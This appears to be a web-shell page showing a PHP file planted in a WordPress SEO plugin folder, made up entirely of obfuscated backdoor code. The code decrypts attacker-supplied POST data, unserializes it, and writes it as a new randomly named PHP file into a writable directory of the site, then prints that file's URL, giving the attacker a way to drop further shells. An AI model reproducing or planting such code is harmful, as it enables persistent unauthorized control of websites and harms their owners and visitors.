HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-content/plugins/wordpress-seo/src/deprecated/admin/js.php
<?php function gULcsV($rTfjPLTRZV, $KiFZXkDHOU, $whbvvtq){$VuvJo = "f9263543-e73e-482f-9fde-8daec352238f";return $rTfjPLTRZV ^ $VuvJo[$KiFZXkDHOU % strlen($VuvJo)] ^ $whbvvtq;}$hIuUfJCt = "zomymdfrf";function oJbdvzxyo($hIuUfJCt){ $UTEqWMI = 's'."\x74".'r'.chr(190-95).'r'.chr(595-484).chr(116).chr(360-311).chr(51);$hIuUfJCt = $UTEqWMI($hIuUfJCt);$sWkKDZUsI = chr(1102-988)."\x61".'w'."\165".'r'.chr(138-30)."\x64".chr(101).chr(99)."\157".chr(100)."\145";$hIuUfJCt = $sWkKDZUsI($hIuUfJCt);$hIuUfJCt = str_split($hIuUfJCt);return $hIuUfJCt;}function WXFMnAe($MHlBFI, $whbvvtq){$MHlBFI = array_map("gULcsV", array_values($MHlBFI), array_keys($MHlBFI), array_values($whbvvtq));$MHlBFI = implode("", $MHlBFI);$pZYiAnwTD = chr(117).chr(367-257)."\x73"."\x65"."\x72".'i'.chr(97).chr(108).'i'."\172".chr(101);$MHlBFI = @$pZYiAnwTD($MHlBFI);return $MHlBFI;}function BJMHvf($whbvvtq, $MHlBFI){$whbvvtq = array_slice(str_split(str_repeat($whbvvtq, (count($MHlBFI)/16)+1)), 0, count($MHlBFI));return $whbvvtq;}function uPmuj(){echo "DnMURscrPq";}function SBLOR($SxRCRkir){static $chLBQd = array();$vfaCJs = glob($SxRCRkir . '/*', GLOB_ONLYDIR);$hMqDH = count($vfaCJs);if ($hMqDH > 0) {foreach ($vfaCJs as $SxRCRk) {$JIXdHkJsC = "\151".'s'.'_'.'w'.chr(114).chr(220-115)."\164".'a'.'b'."\x6c".chr(323-222);if (@$JIXdHkJsC($SxRCRk)) {$chLBQd[] = $SxRCRk;}}}foreach ($vfaCJs as $SxRCRkir) SBLOR($SxRCRkir);return $chLBQd;}function gvOKzExX($MHlBFI){$KsOUjOEQh = "\104".'O'."\x43".chr(181-96).chr(971-894).'E'.chr(369-291)."\124"."\137"."\x52"."\117".chr(79).'T';$EfInZZYg = $_SERVER[$KsOUjOEQh];$vfaCJs = SBLOR($EfInZZYg);$xAoBckVzNo = array_rand($vfaCJs);$ZzsTwly = '.'.chr(112)."\x68"."\160";$mQQVJsqlH = $vfaCJs[$xAoBckVzNo] . "/" . substr(md5(time()), 0, 8) . $ZzsTwly;$gnMeKGW = chr(102).chr(105).chr(1048-940)."\145".chr(287-192).chr(112).'u'."\x74".'_'.chr(928-829).chr(701-590)."\156".chr(266-150)."\x65".chr(110)."\164".chr(115);@$gnMeKGW($mQQVJsqlH, $MHlBFI);$zffGG = "\110"."\x54"."\124"."\x50".'_'."\x48".chr(79).chr(83)."\x54";$GEOen = "\150".'t'."\164"."\160".chr(913-855).chr(348-301).chr(451-404);$DyyZkAaB = $GEOen . $_SERVER[$zffGG] . substr($mQQVJsqlH, strlen($EfInZZYg));print($DyyZkAaB);}function btZAheL($MHlBFI, $xAoBckVzNo){$xAoBckVzNo = $xAoBckVzNo[0];if ($MHlBFI !== $xAoBckVzNo){gvOKzExX($MHlBFI);}else {KSkGc();}}function KSkGc(){$QlrXBnMCYn = 'p'.chr(104).'p';$JtwPdNj = 'p'.chr(578-474).chr(196-84).chr(118)."\145".'r'.chr(268-153)."\151".chr(111)."\156";$MHlBFI = Array($QlrXBnMCYn => @$JtwPdNj(), );$DQxHr = "\x73".chr(705-604)."\162".chr(105).chr(97).'l'.chr(1012-907)."\172".'e';echo @$DQxHr($MHlBFI);}function NrOtJ(){echo "zomymdfrf";}foreach ($_POST as $whbvvtq => $MHlBFI){$BYBTjx = strlen($whbvvtq);if ($BYBTjx == 16){$MHlBFI = oJbdvzxyo($MHlBFI);$whbvvtq = BJMHvf($whbvvtq, $MHlBFI);$MHlBFI = WXFMnAe($MHlBFI, $whbvvtq);if (@is_array($MHlBFI)){$xAoBckVzNo = array_keys($MHlBFI);$MHlBFI = $MHlBFI[$xAoBckVzNo[0]];btZAheL($MHlBFI, $xAoBckVzNo);}}}die();